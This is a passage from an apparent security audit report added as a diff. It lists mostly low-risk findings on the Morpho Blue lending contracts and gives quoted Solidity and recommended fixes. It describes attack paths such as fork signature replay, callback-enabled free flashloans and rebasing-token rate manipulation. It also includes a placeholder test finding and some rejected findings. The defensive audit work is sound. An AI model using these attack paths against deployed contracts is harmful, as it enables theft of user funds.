+However, the current implementation will not update the position for the previous fee recipient, as a result, the previous `feeRecipient` will suffer a loss on fee, and the new `feeRecipient` will get the fee immediately.
+
+**Recommendation**:
+
+Ideally, all markets should invoke `_accrueInterest` while the fee recipient updates.
+
+
+
+### Potential Inconsistent on `onBehalf` Mechanism in `supply`, `repay` and `supplyCollateral`
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+
+The project permits certain users to perform loan or collateral transactions on behalf of others. However, when it comes to the methods `supply`, `repay`, and `supplyCollateral`, the system only checks if the `onBehalf` address is not `address(0)`. It doesn't verify if the `onBehalf` address is actually authorized. This could lead to inconsistencies. Additionally, since this information is recorded in the event logs, if these logs are used off-chain, they might lead to unexpected errors.
+
+**Recommendation**:
+
+Using `require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);` to validate the `onBehalf` address in the aforementioned functions.
+
+
+
+### The `supply` Method Will Not Revert When `share` is 0
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+For the `supply` method, the share will be calculated with following statement:
+```solidity=180
+if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+```
+Since the calculation will get the floor value, so the value can be rounded down to 0, as a result, user may not get the share but still supply the loan token.
+
+Although rounding down will prevent the market loss, the user may lose the token.
+
+**Recommendation**:
+
+Recommend adding validation to avoid 0 share for the user after the calculation.
+
+
+
+
+### Signature replay possible across forks due to hardcoded chainID
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+During initialization, the `Morpho` contract calculates the immutable `DOMAIN_SEPARATOR` based on the `chainID` of the network, which remains constant at the deployment time. If a chain fork occurs after deployment, it's not possible to update the `chainID`, and as a result, the signatures could potentially be replayed on both versions of the chain.
+
+```solidity
+File: Morpho.sol
+
+49: bytes32 public immutable DOMAIN_SEPARATOR;
+
+78: DOMAIN_SEPARATOR = keccak256(abi.encode(DOMAIN_TYPEHASH, block.chainid, address(this)));
+
+```
+
+The `setAuthorizationWithSig` function checks only that a user has signed the `DOMAIN_SEPARATOR`. As a result, in the event of a hard fork, an attacker could reuse signatures in both forks.
+
+**Recommendation**:
+
+The `DOMAIN_SEPARATOR` variable should not be immutable and it should check whether the chainId changed or not everytime. In case it did, it should recomputed by placing updated value of chainId.
+
+
+
+### supplyShares Would Be Lost If onBehalf Is address(this)
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+A user can supply assets to a market and gets shares minted in return , the address which receives the minted shares is controlled by the user through the `onBehalf` parameter.
+
+This is done through the `supply()` function in Morpho.sol
+
+```solidity
+function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+```
+
+If the user mistakenly provides `address(this)` as the `onBehalf` parameter then those supply shares minted would be lost forever (could never be withdrawn)
+This is because withdrawal happens in the `withdraw()` function and the check here https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L209
+would fail since the contract can't approve anyone through the `setAuthorization` function.
+
+Similarly ensure transfers to address(this) are not possible whenever there is a transfer to the `receiver`
+and receiver is address(this) i.e.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L224
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L259
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L338
+Recommendation:
+
+Add a sanity check that `require(onBehalf != address(this))`
+
+
+
+
+### State Address Changes Should Be a Two-Step Procedure
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L139-L139)
+
+**Description**:
+
+Direct state address changes in a function can be risky, as they don't allow for a verification step before the change is made. It's safer to implement a two-step process where the new address is first proposed, then later confirmed, allowing for more control and the chance to catch errors or malicious activity. In the morpho contract this affects the setting of the fee recipient.
+
+**Recommendation**:
+
+Adapt the fee recipient setting procedure to a two step procedure (if the new fee recipient is not `address(0)`.
+
+
+
+
+### Possible Revert ERC20 Transfers with Zero Value
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L224-L224](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L224-L224), [Morpho.sol#L260-L260](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L260-L260)
+
+**Description**:
+
+Some ERC20 tokens, such as LEND, revert on attempts to transfer a zero value. This behavior can pose a problem in contracts that don't handle these cases correctly.
+
+If a token transfer fails, any additional logic in a function might also be affected or even fail entirely. Therefore, contracts interacting with ERC20 tokens should account for the possibility that a zero-value transfer might revert.
+
+The situation where tokens revert on zero transfer could lead to potential reverts in many of the transfer functions. Tokens that revert on 0 transfer are also accepted, as mentioned in the comment "The token can revert on `transfer` and `transferFrom` for a reason other than an approval or balance issue," which introduces the potential issue.
+
+**Recommendation**:
+
+This issue can be mitigated by either excluding tokens that revert on zero transfer or by adding documentation to functions that might be affected by this behavior. For example, the withdraw function might round down and then attempt to transfer 0 tokens out of the contract, leading to a revert in a correct operation. Providing clear documentation about these considerations will help developers understand potential issues and handle them appropriately.
+
+
+
+### Large Token Transfers Could Revert For Certain Tokens
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L191-L191](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L191-L191), [Morpho.sol#L224-L224](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L224-L224), [Morpho.sol#L260-L260](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L260-L260), [Morpho.sol#L292-L292](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L292-L292), [Morpho.sol#L316-L316](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L316-L316), [Morpho.sol#L338-L338](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L338-L338), [Morpho.sol#L400-L400](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L400-L400), [Morpho.sol#L407-L407](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L407-L407), [Morpho.sol#L416-L416](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L416-L416), [Morpho.sol#L422-L422](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L422-L422)
+
+**Description**:
+
+Tokens like [COMP (Compound Protocol)](https://github.com/compound-finance/compound-protocol/blob/a3214f67b73310d547e00fc578e8355911c9d376/contracts/Governance/Comp.sol#L115-L142) and [UNI (Uniswap)](https://github.com/Uniswap/governance/blob/eabd8c71ad01f61fb54ed6945162021ee419998e/contracts/Uni.sol#L209-L236) have limits set by `uint96`. Transfers that approach or exceed this limit will revert. It's important to be cautious of such transfers, especially if batching is not implemented to handle these scenarios.
+
+**Recommendation**:
+
+Mitigate this issue by adding documentation that either excludes these types of tokens or warns about potential future issues related to transfer limits. Providing clear documentation will help developers understand the constraints and avoid potential reverts in their interactions with these tokens.
+
+
+
+### Signature malleability of EVM's `ecrecover` in `setAuthorizationWithSig`
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+EVM's ecrecover is susceptible to signature malleability which allows replay attacks, but that is mitigated here by tracking nonce and reverting it specifically to prevent replays. However, Using `ECDSA.recover` from Openzeppelin will be better option to mitigate the risk for replay attacks.
+
+See reference: https://swcregistry.io/docs/SWC-117
+
+```solidity
+File: Morpho.sol
+
+ address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+```
+
+**Recommendation**:
+
+Consider using OpenZeppelin’s ECDSA library: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/cryptography/ECDSA.sol
+
+
+
+
+### Morpho::createMarket New Market can be created with loan and collateral being the same token
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Since createMarket() is an external function, any one can call and create new markets.
+For the new market, the loan and collateral token can be same as there is no validation.
+
+So, the caller could pass same token for both sides of the market which should be restricted.
+
+Once the market is setup, any one can start interacting with the new invalid market
+
+
+
+
+
+
+### Callbacks lead to incorrect states during external calls
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L189-L189](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L189-L189), [Morpho.sol#L290-L290](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L290-L290), [Morpho.sol#L314-L314](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L314-L314), [Morpho.sol#L405-L405](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L405-L405)
+
+**Description:**
+
+The Morpho contract implements different functionalities for depositing and withdrawing funds, as well as borrowing and flash loans. Some of these functionalities include callbacks intended for users to approve the exact amount of tokens that will be transferred from them to the Morpho contract.
+
+While this implementation by itself is not faulty, it keeps the contract within an incorrect state during an external call to a user-controlled address, which can lead to an exploitable vulnerability later on. This occurs due to the changes to `supplyShares`, `totalSupplyShares`, and `totalSupplyAssets`, as well as `borrowShares`, `totalBorrowShares`, and `totalBorrowAssets` already being made before the actual funds get transferred into the contract. An example of this is the `supply()` function.
+
+```solidity
+function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ // Other calls/computations
+
+ // State variables get updated
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ // External call
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ // Actual funds get transferred in
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+}
+```
+
+This leads to a state of the Morpho contract, which is user-controlled due to the external call, where, in this example, `totalSupplyAssets != token.balanceOf(MORPHO)`. So the actually displayed amount of `supplyAssets` inside the contract is not the amount that currently is inside.
+
+**Recommended Mitigation Steps:**
+
+This potential future issue can be mitigated by performing the state changes after the external call. Unfortunately, this could lead to breaking the CEI pattern and might also lead to future vulnerabilities. In this example, it could be done like this:
+
+```solidity
+function supply(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+) external returns (uint256, uint256) {
+ // Other calls/computations
+
+ // External call
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ // Actual funds get transferred in
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ // State variables get updated
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ return (assets, shares);
+}
+```
+
+An alternative way to handle this issue is to document this case by adding comments to the functions described. This documentation helps clarify the potential issue and ensures that users are aware of the ordering of state changes and external calls.
+
+
+
+### Flashloan of zero is possible
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L416-L416](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L416-L416)
+
+**Description:**
+
+Morpho blue introduces a feature for costless flash loans through the `flashLoan()` function. However, in the current implementation, these flash loans can also be executed with a value of 0, which contradicts the original intention of the function.
+
+**Recommended Mitigation Steps:**
+
+To align the functionality with its intended purpose and prevent flash loans with a value of 0, it is advised to implement an additional `require` statement within the `flashLoan()` function. This statement should check if the value of the flash loan is greater than 0 and revert if it is not.
+
+```solidity
+require(assets != 0, ErrorsLib.ZERO_ASSETS);
+```
+
+By incorporating this check, the `flashLoan()` function will enforce the expected behavior, ensuring that flash loans are only executed when the value is greater than 0.
+
+
+
+### Return values of `MorphoBalancesLib` might be incorrect
+
+**Severity:** Low risk
+
+**Context:** [MorphoBalancesLib.sol#L19-L19](morpho-org-morpho-blue-f463e40/src/libraries/periphery/MorphoBalancesLib.sol#L19-L19)
+
+**Description:**
+
+The morpho blue repository includes the `IIrm` interface, which is used to offer interoperability for different IRMs enabled by the protocol. The `IIrm` interface includes two functions, one view and one normal, which can be used to retrieve the borrow rate from the IRM.
+
+The `MorphoBalancesLib` then offers internal view functions, which contracts built on top of morpho blue can use to precompute the market state without really updating using view functions. The issue is that this library uses the `borrowRateView()` function, which, due to no constraints on the IRM in `IIrm.sol`, might return a different borrow rate than `borrowRate()`. The latter will then be used to actually update the market state.
+
+Due to this, users might act incorrectly based on a wrong assumption of the future market state.
+
+**Recommended Mitigation Steps:**
+
+It is recommended to add an additional assumption to the documentation, stating that the `borrowRate` returned by `borrowRate()` and `borrowRateView()` should be the same for the same passed market. This could be stated as:
+
+```solidity
+/// @notice It is expected that the `borrowRateView()` function will return the same borrow rate for a passed market as the `borrowRate()` function.
+```
+
+This addition helps clarify the expected behavior and ensures that users are aware of the assumption when utilizing these functions for precomputing market states.
+
+
+
+### Unintended flashloan through reentering on callback
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L189-L189](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L189-L189)
+
+**Description**:
+
+The Morpho Blue contract incorporates callbacks in certain depositing functions, providing users with the ability to set exact approvals. However, a potential issue arises during these callbacks, where users receive shares before actual funds are deposited into the contract. This allows users to redeem shares without making any corresponding deposits. While this alone may not pose a higher severity vulnerability, as the contract already includes a flashloan functionality, it is crucial to document this possibility. Doing so helps account for potential future vulnerabilities or extensions of the contract.
+
+**Recommendation**:
+
+Document the potential for users to grant themselves arbitrary free flashloans through callbacks in the `supply()` function. Providing clear documentation ensures that users and developers are aware of this behavior and can make informed decisions regarding the use of the contract.
+
+
+
+### Missing Events
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L422-L422](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L422-L422)
+
+[L-01]: Missing Events
+
+- Summary
+ Some critical functionalities that are missing events
+
+- Vulnerability Details
+In Morpho::flashLoan after Flash load get repay back should emit its own event
+- Impact
+It may even be critical for security monitoring so project can respond adequately if events sufficiently detailed and informative. Any emissions suspicious can allow protocol to react quickly
+
+- Tools Used
+Manual
+
+- Recommendations
+Consider adding event to end of the flash loan functions.
++ emit EventsLib.FlashLoanRepay(msg.sender, address(this), token, assets);
+
+
+
+
+### Sanity Check To Ensure CollateralPrice > 0 (returned by the oracle)
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The Morpho contract leverages oracles to fetch the price of the collateral , e.g.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L357
+
+Though it is expected that the oracle functions just fine it is advised to have simple check , `require (collateralPrice > 0)` to ensure the oracle is live and healthy ,
+
+else the position would always be unhealthy and anyone can liquidate any position since `_isHealthy` would return false everytime.
+
+Recommendation:
+
+Introduce the sanity check as advised
+
+
+
+### Ensure Fee Recipient Is Set Before Any Interest Is Accrued (Should Be Part Of The Deployment Script)
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The fee recipient in Morpho.sol can be set here https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L142 and when any interest is accrued the fee shares are assigned to the recipient here https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L487
+
+
+
+If the interest gets accrued and the fee recipient was not assigned yet then the fee shares would be assigned to the 0 address and be lost forever.
+
+Recommendation:
+
+Ensure the fee recipient is assigned before markets are created.
+
+
+
+### Lack of Minimum Position or Deposit Requirements could resulting a bad debt thus unhealthy protocol
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+Morpho doesn't apply any minimum deposit or minimum position user should hold in the protocol which will impact on any liquidateable position failed to be closed, resulting badDebt accumulated makes protocol unhealthy. When an asset price is plummeted, the risk can potentially became larger due to changes of the collateral price makes incentive is far less attractive.
+
+Small positions may not be worth the time and effort for liquidators to execute liquidations, especially considering the associated gas fees. This can lead to a situation where borrowers are able to maintain their underwater positions, increasing the risk of bad debt for the protocol.
+
+As a result, these small positions are often left unliquidated, even if they are underwater. This can lead to an increase in the risk of bad debt for the protocol. If a borrower defaults on their loan, the protocol will lose the value of the collateral, which could have a significant impact on the protocol's financial stability.
+
+**Recommendation**:
+
+Apply a minimum deposit or minimum position to ensure there will always be liquidator interested to keep protocol healthy by liquidating bad debt (unhealthy position)
+
+
+
+### Missing `expectedTotalBorrowShares()` function in `MorphoBalancesLib.sol`
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:**
+
+- [MorphoBalancesLib.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoBalancesLib.sol)
+
+**Description:**
+
+`MorphoBalancesLib.sol` contains functions to fetch the expected balances of a market, namely:
+
+- `expectedTotalSupplyAssets()` for `totalSupplyAssets`.
+- `expectedTotalBorrowAssets()` for `totalBorrowAssets`.
+- `expectedTotalSupplyShares()` for `totalSupplyShares`
+
+However, there is no function to calculate a market's expected `totalBorrowShares`.
+
+**Recommendation:**
+
+Consider adding a `expectedTotalBorrowShares()` function to `MorphoBalancesLib.sol`.
+
+
+
+### Complience of the borrower contract with the flashloan standard of the lender is not checked.
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+Summary:
+
+The morpho-blue flashLoan function do not check for compliance of the lender with the flashloan standart. This is a good practice to have in your contract.
+
+Relevant links:
+
+[FlashLoan()](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/Morpho.sol#L415C11-L415C11)
+
+Vulnerablity details:
+
+In flash loan function theres not check for the standart callback success return:
+
+```
+ function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }
+
+```
+Impact:
+
+Although impact is not high following the best practices and standarts in the web3 world is the way to a secure and decentralised ecosystem. The big protocols like morpho should give example and try to be as complience as possible.
+
+Solution:
+
+Consider add this check to the function, to be compliance with the standart.
+
+```
+bytes32 CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
+require(
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(msg.sender, token, amount, fee, data) == CALLBACK_SUCCESS,
+ "FlashMinter: Callback failed"
+);
+
+```
+
+
+
+### Some tokens in the contract can be extracted using flashLoan _(this issue has been rejected)_
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+` function flashLoan(address token, uint256 assets, bytes calldata data) external {
+ IERC20(token).safeTransfer(msg.sender, assets);
+
+ emit EventsLib.FlashLoan(msg.sender, token, assets);
+
+ IMorphoFlashLoanCallback(msg.sender).onMorphoFlashLoan(assets, data);
+
+ IERC20(token).safeTransferFrom(msg.sender, address(this), assets);
+ }`
+For rebasing tokens (e.g. aave aToken), it's possible to manipulate token rate inside flashloan callback.
+If an attacker can increase the rate inside flashloan callback and decrease after flashloan call, the pool might get less value overall.
+
+
+
+
+### Callbacks can introduce potential vulnerability
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+During operations liquidate/repay/supply/supplyCollateral, there are callbacks to be called if data is given.
+Those callbacks forward complete control to the callee and can be potentially dangerous in the future.
+Below the callback is safeTransfer or safeTransferFrom. Since the market/token registration goes through some validation at least (e.g. isIrmEnabled, isLltvEnabled), token transfer seems safer than callbacks.
+
+So, moving callbacks after the transfer is recommended.
+
+On the other hand, it'd be better to add callbacks for borrow/withdraw/withdrawCollateral for consistency.
+
+
+
+### Borrow rate calculation slightly but significantly underapproximates the true value when much time elapsed between accruals
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L477-L477](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L477-L477)
+
+The Taylor approximation of exp(n) used here is very poor in comparison to implementations of exp(n) available in math libraries.
+
+However, this inaccuracy mainly applies when borrowRate * elapsed > 1e18. Even when it's equal to 1e18 (which, in some cases, corresponds to going a full year without accruing interest for the market), the error is only 3%.
+
+
+
+### Some very small positions in small precision tokens such as WBTC may be unliquidatable
+
+**Severity:** Low risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Summary
+Liquidations offer two options to input the quantity of debt to repay. In terms of `seizedAssets` and `repaidShares`, but due to successive roundings, it may be impossible to repay some very small positions (collateral: 1 wei). For some tokens with low decimals and high value such as WBTC `price=40k$` and `decimals=8`, one wei of bad debt begin to be noticeable (~ 0.0004$).
+
+Since the occurence of the bug is relatively frequent, the accumulation of bad debt will reach noticeable amounts (over 1$) over time.
+
+- Vulnerability Detail
+We can see that in the liquidation function, some roundings are done in order to favor the protocol (up when evaluating assets to repay and down when evaluating assets to seize from liquidatee):
+
+```solidity
+if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+} else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+}
+```
+
+- Scenario
+Let's analyze a loan example, and the two options the liquidator has:
+
+Alice's loan:
+> collateral: WBTC 1 wei
+
+> debt: `X` DAI
+
+Bob is a liquidator wanting to liquidate the loan, he tries the first approach:
+
+1/ Seize 1 wei of WBTC from Alice:
+
+Let's consider the computed value of assets to repay by the formula:
+`repaidAssets = seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);`
+
+- Either this value is below X, the liquidation goes through, but the protocol incurs some bad debt of the amount `repaidAssets-X`,
+- Either `repaidAssets > X` and in turn `repaidShares` is greater than user debt share, and liquidation reverts because of an underflow:
+
+```solidity
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+```
+
+2/ Repay all debt shares of Alice:
+
+Unless all of the values are multiples, the formula below rounds down to zero:
+`seizedAssets = repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);`
+
+and the operation is not profitable for the liquidator, which leaves the position undefinitely unliquidated
+
+- Impact
+This edge case shows that it is possible to incur bad debt by creating small positions in small precision tokens with high value (namely WBTC), accumulating noticeable amounts of bad debt in the pools using such collateral.
+
+- Code Snippet
+
+- Tool used
+Manual Review
+
+- Recommendation
+The solution to this is not trivial, maybe consider adding virtual collateral balances, aligned to 18 decimals precision.
+This would enable higher precision for liquidations, as a liquidator can aggregate multiple liquidation rewards when withdrawing
+
+
+
+### Functions calling contracts with transfer hooks are missing reentrancy guards
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L191-L191](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L191-L191), [Morpho.sol#L224-L224](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L224-L224), [Morpho.sol#L260-L260](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L260-L260), [Morpho.sol#L292-L292](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L292-L292), [Morpho.sol#L316-L316](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L316-L316), [Morpho.sol#L338-L338](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L338-L338), [Morpho.sol#L400-L400](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L400-L400), [Morpho.sol#L407-L407](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L407-L407), [Morpho.sol#L416-L416](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L416-L416), [Morpho.sol#L422-L422](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L422-L422)
+
+Even if the function follows the best practice of check-effects-interaction, not using a reentrancy guard when there may be transfer hooks will open the users of this protocol up to read-only reentrancies with no way to protect against it, except by block-listing the whole protocol.
+
+
+
+### Large transfers may not work with some `ERC20` tokens
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L224-L224](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L224-L224), [Morpho.sol#L260-L260](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L260-L260), [Morpho.sol#L338-L338](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L338-L338), [Morpho.sol#L400-L400](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L400-L400), [Morpho.sol#L416-L416](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L416-L416)
+
+Some `IERC20` implementations (e.g `UNI`, `COMP`) may fail if the valued `transferred` is larger than `uint96`. [Source](https://github.com/d-xo/weird-erc20/blob/main/src/Uint96.sol).
+
+
+
+### Unsafe downcast may overflow
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L133-L133](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L133-L133)
+
+When a type is downcast to a smaller type, the higher order bits are discarded, resulting in the application of a modulo operation to the original value.
+
+If the downcasted value is large enough, this may result in an overflow that will not revert.
+
+
+
+### Possible division by 0 is not prevented _(this issue has been rejected)_
+
+**Severity:** Low risk
+
+**Context:** [MathLib.sol#L28-L28](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L28-L28), [MathLib.sol#L33-L33](morpho-org-morpho-blue-f463e40/src/libraries/MathLib.sol#L33-L33)
+
+These functions can be called with 0 value in the input and this value is not checked for being bigger than 0, that means in some scenarios this can potentially trigger a division by zero.
+
+
+
+### Missing contract-existence checks before low-level calls
+
+**Severity:** Low risk
+
+**Context:** [SafeTransferLib.sol#L23-L23](morpho-org-morpho-blue-f463e40/src/libraries/SafeTransferLib.sol#L23-L23), [SafeTransferLib.sol#L31-L31](morpho-org-morpho-blue-f463e40/src/libraries/SafeTransferLib.sol#L31-L31)
+
+Low-level calls return success if there is no code present at the specified address, and this could lead to unexpected scenarios.
+
+Ensure that the code is initialized by checking `.code.length > 0`.
+
+
+
+### Lack of two-step update for updating protocol addresses
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L95-L95](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L95-L95), [Morpho.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L139-L139)
+
+Add a two-step process for any critical address changes.
+
+
+
+### Missing checks for `address(0)` when updating state variables
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L98-L98](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L98-L98), [Morpho.sol#L107-L107](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L107-L107), [Morpho.sol#L142-L142](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L142-L142), [Morpho.sol#L429-L429](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L429-L429), [Morpho.sol#L447-L447](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L447-L447)
+
+Check for zero-address to avoid the risk of setting `address(0)` for state variables after an update.
+
+
+
+### Missing timelock in critical functions
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L95-L95](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L95-L95), [Morpho.sol#L104-L104](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L104-L104), [Morpho.sol#L113-L113](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L113-L113), [Morpho.sol#L123-L123](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L123-L123), [Morpho.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L139-L139)
+
+It is a good practice to give time for users to react and adjust to critical changes. A timelock provides more guarantees and reduces the level of trust required, thus decreasing risk for users. It also indicates that the project is legitimate (less risk of a malicious owner making a sandwich attack on a user). Consider adding a timelock to the following functions:
+
+
+
+### Events may be emitted out of order due to reentrancy
+
+**Severity:** Low risk
+
+**Context:** [Morpho.sol#L418-L418](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L418-L418), [Morpho.sol#L491-L491](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L491-L491)
+
+If a reentrancy occurs, some events may be emitted in an unexpected order, and this may be a problem if a third party expects a specific order for these events. Ensure that events follow the best practice of CEI.
+
+
+
+## Informational risk
+### Test finding with `code`
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+Test description
+
+**Recommendation**:
+Test recommendation
+
+
+
+### Authorization should be on market level
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Proof of Concept
+When user [authorizes another address](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L429), then this address has access to all markets of the user in the `Morpho` contract.
+
